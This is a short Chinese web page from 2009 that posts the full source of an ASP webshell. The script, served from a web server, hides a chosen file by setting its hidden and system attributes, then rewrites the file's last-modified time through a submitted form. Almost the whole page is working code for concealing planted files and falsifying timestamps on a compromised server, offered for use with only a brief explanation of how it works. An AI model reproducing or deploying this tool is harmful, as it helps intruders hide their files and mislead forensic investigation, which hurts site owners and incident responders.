隐藏并修改文件的最后修改时间的webshell

2009-9-17 10:02 1106 0

摘要: 　　程序代码　　<%　　'隐藏并修改文件的最后修改时间的aspshell　　'原理:通过FSO可以修改文件的属性，比如设置为只读，隐藏，系统等等；FSO中的attributes属性修改文件属性，...

关键词： response fileName set path write 文件 shell request newTime file

　　程序代码　　<%　　'隐藏并修改文件的最后修改时间的aspshell　　'原理:通过FSO可以修改文件的属性，比如设置为只读，隐藏，系统等等；FSO中的attributes属性修改文件属性，1只读，2隐藏，4系统文件　　'通过shell.application可以给文件重新设置一个最后修改时间　　'2009/02/24 write by skyfire　　response.write "<form method=post>"　　response.write "路径：<input name=path value='"&server.mappath("/")&"' size='30'>(一定要以\结尾)<br />"　　response.write "文件名称：<input name=filename value='test.txt' size='30'><br />"　　response.write "修改时间：<input name=time value='12/30/2099 12:30:30' size='30'><br />"　　response.write "<input type=submit value=修改并隐藏文件>"　　response.write "</form>"　　　　'获取提交的参数　　set path=request.Form("path")　　set fileName=request.Form("filename")　　set newTime=request.Form("time")　　　　if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then　　　　'通过fso设置文件属性　　Set fso=Server.CreateObject("Scripting.FileSystemObject")　　Set file=fso.getFile(path&fileName)　　file.attributes=2+4 '设置文件属性为隐藏+系统　　　　'通过shell.Application修改文件的最后修改时间　　Set shell=Server.CreateObject("Shell.Application")　　Set app_path=shell.NameSpace(server.mappath("."))　　Set app_file=app_path.ParseName(fileName)　　app_file.Modifydate=newTime　　　　end if　　%>

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除